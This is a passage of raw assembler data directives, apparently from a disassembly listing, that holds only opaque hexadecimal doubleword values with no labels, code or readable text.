dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h, 7031188h
dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
dd 9D863210h
dd 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch, 28783F03h
dd 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h, 294E00B7h
dd 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h, 8563822Fh
dd 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h
dd 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh, 49F2015Dh
dd 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h, 29C6F5h
dd 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh, 0C3E809D6h
dd 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh, 1254E047h
dd 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h, 1A91CB03h
dd 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h, 8D6C2730h
dd 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h, 0A0DA2Ch
dd 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h, 721C64D8h
dd 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h, 384E3Dh
dd 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h, 71E4CB2h
dd 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h, 0DB497190h
dd 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh, 4A3E6FE5h
dd 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h, 0E4390855h
dd 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h, 618A6543h
dd 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h, 1CD6EAC4h
dd 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h, 4CC1E924h
dd 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h, 80CA8B2Eh
dd 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h, 72102C00h
dd 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h, 83D02BB9h
dd 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h, 308DEDE5h
dd 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h, 0A0881FC0h
dd 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh, 0FF54BB17h
dd 4722B87h, 46F302D8h, 0F880EE89h, 3E0313A4h, 1D004D93h
dd 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h, 3F052AC8h
dd 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h, 80F6D48Fh
dd 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h, 2B9600AAh
dd 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh, 0C4097202h
dd 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h, 66ED10h
dd 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh
dd 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h, 0D2E20300h
dd 7F242305h, 29700A1h, 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh
dd 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h, 0B8AA5584h
dd 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h, 5580DF44h
dd 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h, 1800E024h
dd 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h, 0D20B9349h
dd 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh, 11008279h
dd 41C9945h, 3F1ADA0Dh, 130ED1F5h, 6C60B3C7h, 45AB85D8h
dd 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h, 88D6CB55h
dd 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h, 5300F71Eh
dd 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh
dd 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h, 6500929Fh
dd 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h, 0A69DAE18h
dd 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h, 0D9E23AE1h
dd 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h
dd 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h, 0E43AE881h
dd 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh, 0DED4BA04h
dd 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh, 7CA88E8Bh
dd 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh, 8F433614h
dd 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h, 428D0050h
dd 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh, 0CCED8Ch
dd 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h, 0F5DF03AAh
dd 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h, 2FBF0142h
dd 53A22A00h, 33001034h, 6547E788h, 3D180C04h, 0AB805249h
dd 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h, 2162005Ah
dd 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h, 0BF77E9h
dd 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h, 43501C6Ch
dd 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h, 0D43808FDh
dd 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h, 0C054DF08h
dd 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah, 300D1FD0h
dd 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h, 0A10378BAh
dd 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah, 541E4406h
dd 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h, 5B4C53E8h
dd 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h, 0B8877B34h
dd 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h, 323CC8D1h
dd 6F000AD8h, 243D05h, 7728C342h, 6119CA17h, 4015BA00h
dd 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h, 0B8004929h
dd 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h, 0BCB37B16h
dd 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h, 0DC00EE0Bh
dd 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h, 0DEA7021Eh
dd 9521E42h, 6821C013h, 1E50084h, 0C419FED5h, 0BA0005C8h
dd 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h, 30F1600Eh
dd 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h
dd 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h, 3CF87708h
dd 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h, 1CBE6096h
dd 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh, 3FFFE400h
dd 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh
dd 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h, 40DEDDB3h
dd 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h, 0CF031896h
dd 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh, 8D26559Bh
dd 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h, 5002818h
dd 47CA0CC1h, 4FC8D53h, 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh
dd 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh, 0ECB064A4h
dd 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h, 0E5E8B780h
dd 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah
dd 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h
dd 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h, 544CF20h
dd 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h, 0B0000A60h
dd 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah, 4AA64126h
dd 3ED0003Fh, 2440D848h, 0C2790950h, 38805F86h, 8E0E7412h
dd 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh
dd 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh
dd 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h, 54D30F20h
dd 5C401460h, 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h
dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h
dd 0EA7B8401h, 2F2985FAh
dd 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h, 1739997Ah
dd 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh, 0A41002EBh
dd 6143536h, 222AD880h, 480FC8EDh, 0A0026433h, 0BD105CCBh
dd 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh, 5500A98Fh
dd 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh, 0BCC45424h
dd 791B200h, 4A0250h, 18066C74h, 3FEB2880h, 1D8D3700h
dd 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h, 362C13E9h
dd 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h, 0D4370734h
dd 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h, 0B91200A1h
dd 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h
dd 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh, 0ECA11A74h
dd 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h, 5854C35Eh
dd 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h, 83F07072h
dd 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h, 1BCD0854h
dd 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h, 0E0C3C72h
dd 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h, 8304A8D8h
dd 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh, 6288E8h
dd 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh, 20CD02EBh
dd 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch, 0EC3EAh
dd 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h, 81C32C69h
dd 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch, 3DDCD0BAh
dd 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h, 0DF2D62D0h
dd 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h, 0E23B358Dh
dd 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h, 0C67835Ah
dd 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h, 0D9250F4Ch
dd 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h, 0A650545h
dd 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h, 30058B64h
dd 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h, 96E88031h
dd 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh, 0FE6A8B29h
dd 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h, 88091DBh
dd 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh, 51759BB4h
dd 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh, 600F713h
dd 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah
dd 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh, 503AC297h
dd 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh, 80FAB89Fh
dd 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h, 0F5162575h
dd 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h, 8A850B0Ch
dd 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh, 0E2AEC583h
dd 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h, 8A60083h
dd 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h, 2B3960E4h
dd 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h, 784C2DC0h
dd 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h, 0EFEB0B92h
dd 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h, 0E10EF0A5h
dd 683C7700h, 2E855274h, 7FD70059h, 756E8441h, 8006604h
dd 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh, 2C874C76h
dd 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh, 18BC16AEh
dd 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah, 0B1383EFFh
dd 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h, 1A0B00A0h
dd 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h, 89F4F287h
dd 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h, 143EA259h
dd 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h, 166856h
dd 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h, 32836068h
dd 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah, 13D7614h
dd 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h, 6F05065h
dd 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch, 1B808980h
dd 472052D4h, 123B9028h, 9734CFAh, 0A94CFh, 53BE23F0h
dd 85E0058h, 862A840Ch, 0F107B878h, 0A33C201Dh, 3410801Fh
dd 5CD6490h, 364911A1h, 24810FA8h, 5B382C00h, 5F0265D4h
dd 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h, 789CF800h
dd 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh, 9075DBD5h
dd 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h, 0D7A70397h
dd 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h, 562E003Eh
dd 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh, 0A1AAC9Fh
dd 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh, 0B8323D60h
dd 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh, 6103D0CBh
dd 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h, 0C6FCE7A1h
dd 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah, 3E833807h
dd 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h, 1C3AFB7Ah
dd 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h, 7E2BE87Ch
dd 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h, 2901164h
dd 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h, 32805D55h
dd 0BC035Ah, 5E6D9FD4h, 83D7E1D3h, 28AFEA00h, 0B73B677Ch
dd 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h, 31A500F3h
dd 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h, 0F23A2C29h
dd 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h, 52FB25D2h
dd 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h, 9E5D738Bh
dd 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h, 35B8315h
dd 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h, 7DB889h
dd 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh, 477F3D4Bh
dd 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h, 3EB84323h
dd 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h, 0C8DFC900h
dd 680A11h, 0AC3EBDF0h, 0D6991401h, 1749FA00h, 0F3458AC0h
dd 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h, 1F60139h
dd 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh, 8056510Bh
dd 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h, 78803974h
dd 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh, 4402701Fh
dd 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h, 0FAED75F5h
dd 615097E0h, 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h
dd 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h
dd 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h
dd 2F000BD4h, 41EDCE80h, 152420h, 74664C94h, 1FFD389h
dd 840F3A00h, 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h
dd 0A30D1C64h, 9105CA5h, 0F34E8218h, 7DBA5080h, 2409D965h
dd 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh, 0E9A878F5h
dd 6952A4F0h, 85C79900h, 77E80810h, 0F2C403AEh, 0F42133DEh
dd 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh
dd 16C0D08Fh, 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h
dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h
dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h
dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h
dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
dd 0DF7C514Ch, 0B0465A07h
dd 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h, 0B80011EFh
dd 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h, 0EA096A55h
dd 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h, 281536C4h
dd 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh, 5539D9h
dd 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h, 888CBh
dd 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h, 4495ECh
dd 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h, 3EAEE3h
dd 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh, 54150027h
dd 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh, 24871785h
dd 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah, 85F310D2h
dd 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h, 1FB9BF0h
dd 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h, 0D0F84768h
dd 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h, 0B94CB70h
dd 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h, 846C1614h
dd 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h, 0FC773E00h
dd 10428EB2h, 0E9894A00h, 931675F2h, 157A25h, 6950C7B1h
dd 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h, 0D2F63200h
dd 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh, 0B94B851Ah
dd 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h, 4AA574F1h
dd 310229BEh, 8D2A0746h, 45244054h, 37120143h, 3570A985h
dd 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h, 834023A0h
dd 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h, 0C6644367h
dd 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h, 0CAA11A9Ch
dd 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h, 45ED3D3Bh
dd 59348200h, 5B782406h, 744A6000h, 63C27A12h, 10771Fh
dd 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh, 807100E0h
dd 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh, 0CEFAC922h
dd 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh, 0D0944BC7h
dd 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h, 56E2B800h
dd 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h, 0F26F935h
dd 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch, 72A0DC24h
dd 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah, 0C076FA2Dh
dd 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h, 921C298Dh
dd 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h, 33705700h
dd 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h, 34A1A400h
dd 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h, 0D0396147h
dd 675B0Ah, 689FC274h, 282D35D2h, 88595D16h, 389E991Ch
dd 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h, 6800C020h
dd 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh, 0C7521400h
dd 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh, 9864B600h
dd 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h, 0DF0093F7h
dd 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h, 58001A10h
dd 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh, 3326040Fh
dd 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah, 688BD100h
dd 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh, 0A5C70334h
dd 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h, 0C0F7B24h
dd 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h, 3DAB0813h
dd 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h
dd 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h, 0E800C1C2h
dd 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h, 99FCBD07h
dd 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh, 4B07C837h
dd 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h, 0C38D033h
dd 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h, 51B8E010h
dd 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h, 0BA673021h
dd 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh, 22A05CA1h
dd 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah, 0BE848D4Fh
dd 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h, 0A021C80Dh
dd 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h, 972D00E1h
dd 70895130h, 94900853h, 5C81B800h, 0EA18212Bh, 4352008Eh
dd 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h, 927C86DDh
dd 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h, 79ECA419h
dd 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h, 3ACF28h
dd 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h, 99E8C83Bh
dd 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h, 0B6902501h
dd 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h, 410578A4h
dd 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h, 85E2E576h
dd 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h, 580078C0h
dd 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h, 0CCD721CBh
dd 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh, 677AFACDh
dd 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah, 18452059h
dd 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h, 3D1FB80Fh
dd 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h, 6467D462h
dd 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h, 6167DD1h
dd 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h, 51B7C4h
dd 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h, 2CE3124Eh
dd 0E1C399h, 2FE81504h, 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh
dd 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch, 2F20D20Bh
dd 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh, 4FCB7A40h
dd 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h, 0C926486Ch
dd 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h, 0B4D7504Ch
dd 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h, 2AA450h
dd 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh, 0FA3D003Bh
dd 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h, 9550247Ah
dd 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h
dd 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h, 0A0BD98h
dd 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h, 2E47AE3h
dd 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh, 900480B6h
dd 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh
dd 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h, 25228A6Bh
dd 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h, 0A581CE09h
dd 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh, 3800E87Fh
dd 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh, 68335500h
dd 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h, 766C0012h
dd 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h
dd 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh, 0F3010069h
dd 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh, 451586h
dd 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch
dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h
dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch
dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h
dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h
dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h
dd 12E0ABBDh, 930C74Ch
dd 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh, 52ACF19Fh
dd 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah
dd 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h, 0A012DA55h
dd 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h, 1CF83101h
dd 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h, 0AD5CE0h
dd 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h, 1657824h
dd 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h, 20A889h
dd 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh, 11801CA3h
dd 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah, 34220064h
dd 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah, 0F513E5h
dd 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch, 0D641F8h
dd 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h, 7E297Ch
dd 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h, 1F928E08h
dd 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h, 64C10508h
